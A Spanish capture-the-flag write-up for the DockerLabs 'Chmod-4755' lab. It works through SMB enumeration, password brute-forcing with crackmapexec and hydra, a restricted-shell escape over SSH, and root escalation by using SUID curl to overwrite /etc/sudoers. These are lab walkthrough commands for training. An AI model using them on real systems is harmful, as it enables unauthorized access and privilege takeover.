Post

DockerLabs - Chmod-4755

DockerLabs - Chmod-4755

nmap

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts
PORT    STATE SERVICE
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ nmap -sCV -p22,139,445 172.17.0.2                        
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a8:62:07:af:8e:77:13:6d:25:0a:2f:43:63:de:38:38 (ECDSA)
|_  256 93:93:a8:35:0e:fa:3e:05:04:27:70:2e:fc:22:e8:99 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-XX-XXTXX:XX:XX
|_  start_date: N/A

análisis

Comenzaremos revisando los recursos disponibles por SMB de la máquina (tanto con smbclient y smbmap), donde destaca uno en específico por no ser de lo que solemos ver en otros casos:

1
2
3
4
5
6
7
8
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ smbclient -L \\\\172.17.0.2 -N                            

        Sharename          Type      Comment
        ---------          ----      -------
        print$             Disk      Printer Drivers
        *****************  Disk      
        IPC$               IPC       IPC Service (48750a6c792d server (Samba, Ubuntu))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ smbmap -H 172.17.0.2              

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          

[+] IP: 172.17.0.2:445  Name: 404-not-found.hl          Status: NULL Session
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        *****************                                       NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (48750a6c792d server (Samba, Ubuntu))
[*] Closed 1 connections

Tratamos de obtener más información relacionada con la propia máquina con crackmapexec:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ crackmapexec smb 172.17.0.2                                        
SMB         172.17.0.2      445    48750A6C792D     [*] Windows 6.1 Build 0 (name:48750A6C792D) (domain:48750A6C792D) (signing:False) (SMBv1:False)

Otra herramienta que podemos emplear para enumerar información de SMB es enum4linux, que en este caso nos descubre dos usuarios existentes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ enum4linux -a 172.17.0.2

 =========================================( Target Information )=========================================

Target ........... 172.17.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                                       

S-1-22-1-1000 Unix User\smbuser (Local User)                                                                                                                                                                      
S-1-22-1-1001 Unix User\rabol (Local User)

acceso inicial SMB (smbuser)

Ahora trataremos de obtener por fuerza bruta la contraseña del usuario smbuser usando crackmapexec (o nxc, que es la nueva versión de crackmapexec), la cual, pasado un rato, nos la encuentra:

1
2
3
4
5
6
7
8
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ crackmapexec smb 172.17.0.2 -u smbuser -p /usr/share/seclists/Passwords/rockyou.txt
SMB         172.17.0.2      445    48750A6C792D     [*] Windows 6.1 Build 0 (name:48750A6C792D) (domain:48750A6C792D) (signing:False) (SMBv1:False)
SMB         172.17.0.2      445    48750A6C792D     [-] 48750A6C792D\smbuser:123456 STATUS_LOGON_FAILURE 
SMB         172.17.0.2      445    48750A6C792D     [-] 48750A6C792D\smbuser:12345 STATUS_LOGON_FAILURE 
SMB         172.17.0.2      445    48750A6C792D     [-] 48750A6C792D\smbuser:123456789 STATUS_LOGON_FAILURE
...
SMB         172.17.0.2      445    48750A6C792D     [+] 48750A6C792D\smbuser:******

Ya que tenemos credenciales para SMB, nos conectamos al recurso que hemos encontrado anteriormente (que no es ni print$ ni IPC$), el cual contiene una nota:

1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ smbclient \\\\172.17.0.2\\\***************** -U "smbuser%*****" 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Sep  2 13:05:05 2024
  ..                                  D        0  Mon Sep  2 13:05:05 2024
  note.txt                            N       13  Mon Sep  2 13:05:05 2024

                76798724 blocks of size 1024. 33911680 blocks available
smb: \> get note.txt
getting file \note.txt of size 13 as note.txt (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)

La nota nos indica que debemos volver a revisar lo que ya tenemos hasta ahora:

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ cat note.txt                                                                       

read better

Por ello, trataremos de ver si alguno de los textos que hemos encontrado hasta ahora coincide con la contraseña del usuario rabol, que es el que todavía no sabemos para que se utiliza.

movimiento lateral (rabol)

Otro de los recursos que hemos visto que el usuario smbuser puede listar es print$, donde encontramos un listado de directorios, así que lo que vamos a hacer es crear un diccionario con todos los nombres de las carpetas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ smbclient \\\\172.17.0.2\\print$ -U "smbuser%fuckit"
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Sep  2 13:07:41 2024
  ..                                  D        0  Mon Sep  2 13:07:41 2024
  W32PPC                              D        0  Mon Apr  8 15:49:25 2024
  color                               D        0  Mon Sep  2 13:07:41 2024
  x64                                 D        0  Mon Sep  2 13:07:41 2024
  IA64                                D        0  Mon Apr  8 15:49:25 2024
  WIN40                               D        0  Mon Apr  8 15:49:25 2024
  W32ALPHA                            D        0  Mon Apr  8 15:49:25 2024
  W32X86                              D        0  Mon Sep  2 13:07:41 2024
  ARM64                               D        0  Mon Sep  2 13:07:41 2024
  COLOR                               D        0  Mon Apr  8 15:49:25 2024
  W32MIPS                             D        0  Mon Apr  8 15:49:25 2024

smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *
smb: \> exit

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ tree
.
├── ARM64
├── color
├── COLOR
├── IA64
├── W32ALPHA
├── W32MIPS
├── W32PPC
├── W32X86
│   └── PCC
├── WIN40
└── x64
    └── PCC

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ cat wordlist 
ARM64
color
COLOR
IA64
W32ALPHA
W32MIPS
W32PPC
W32X86
WIN40
x64
PCC

Sin embargo, a la hora de tratar de comprobar si alguno de los nombres de los directorios es la contraseña del usuario rabol por SSH, vemos que no es el caso:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ hydra -l rabol -P wordlist 172.17.0.2 ssh -I -t 64
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:1/p:10), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
1 of 1 target completed, 0 valid password found

Otra posibilidad es que la contraseña del usuario rabol sea el nombre de alguno de los recursos que encontramos por SMB, por lo que los añadimos al diccionario y volvemos a ejecutar hydra (que en esta ocasión confirma que se trata del nombre del recurso que vimos anteriormente por SMB):

1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ hydra -l rabol -P wordlist 172.17.0.2 ssh -I -t 64  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: rabol   password: *****************
1 of 1 target successfully completed, 1 valid password found

Teniendo ya la contraseña del usuario rabol para SSH, procedemos a conectarnos:

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ ssh rabol@172.17.0.2                                
rabol@48750a6c792d:~$ whoami
-rbash: whoami: command not found

Vemos que, aunque tenemos acceso, la consola que este usuario tiene asignada es una Restricted Bash (consola con gran parte de los comandos deshabilitados).

Para saltarnos esta restricción, lo que podemos hacer es indicar un comando a la hora de conectarnos, el cual queremos que se ejecute antes de que nos otorgue la consola, que se hace simplemente indicándolo como parámetro final del comando ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Chmod-4755]
└─$ ssh rabol@172.17.0.2 bash
**************************************************
*   WARNING: Unauthorized Access is Prohibited!  *
*   This system is for authorized users only.    *
*   All activities are monitored and recorded.   *
*                  by fuckit                     *
**************************************************
rabol@172.17.0.2`s password: 
id
uid=1001(rabol) gid=1001(rabol) groups=1001(rabol),100(users)
whoami
rabol
hostname -I
172.17.0.2

De esta manera habremos obtenido una consola completamente interactiva y sin restricciones como el usuario rabol.

Obtendremos en este punto el listado de usuarios que tengan asignados una consola en el fichero /etc/passwd de la máquina:

1
2
3
4
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
rabol:x:1001:1001:rabol,,,:/home/rabol:/bin/rbash
smbuser:x:1000:1000:smbuser,,,:/home/smbuser:/bin/bash

En la carpeta principal del usuario rabol encontramos la primera flag:

1
2
$ cat user.txt
04ae****************************

escalada de privilegios (root)

Ahora buscaremos los binarios cuyos permisos sean SUID (se pueden ejecutar con los permisos del propietario), y de entre todos, destaca /usr/bin/curl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/curl
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Nos indican el GTFOBins que el binario /usr/bin/curl nos permite leer y escribir ficheros cuando tiene permisos SUID, tanto de una ubicación externa como interna (empleando el wrapper file://), como también escribir los ficheros leídos en otra ubicación fuera de la máquina.

Desktop View

En este caso, optaremos por la solución que implica modificar el fichero /etc/sudoers para agregar el usuario rabol, y de esta manera poder ejecutar comandos como el usuario root. Sin embargo, otras opciones a considerar podrían ser:

  • Modificar el fichero /etc/passwd para agregar un nuevo usuario con permisos root.
  • Modificar el fichero /etc/shadow para indicar una nueva contraseña para el usuario root.

Lo primero que debemos hacer es copiar el fichero /etc/sudoers a una carpeta en la que tengamos permisos de escritura, como por ejemplo, la carpeta principal del usuario rabol:

1
$ curl file:///etc/sudoers -o /home/rabol/sudoers

Lo siguiente es agregar una nueva línea al final del fichero, la cual indicará que el usuario rabol tiene permisos elevados en el sistema:

1
$ echo "rabol ALL=(ALL:ALL) ALL" >> sudoers

Por último, debemos copiar la versión modificada del fichero /etc/sudoers, y sustituirla por la versión original en la ubicación por defecto:

1
$ curl file:///home/rabol/sudoers -o /etc/sudoers

Si ahora volvemos a comprobar el contenido del fichero /etc/sudoers, veremos que se ha modificado exitosamente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ curl file:///etc/sudoers
...
# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
rabol ALL=(ALL:ALL) ALL

Tratamos ahora de invocar una consola como el usuario root, y veremos que nos pide la contraseña del usuario rabol, pero una vez indicada, nos otorga la consola elevada sin problemas:

1
2
3
4
5
6
7
$ sudo su
sudo su
[sudo] password for rabol: *****************

root@48750a6c792d:/home/rabol# whoami
whoami
root

Ahora ya podremos visualizar la segunda flag:

1
2
3
root@48750a6c792d:/home/rabol# cat /root/root.txt
cat /root/root.txt 
1e4e****************************

Y de esta manera habremos completado el laboratorio Chmod-4755!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.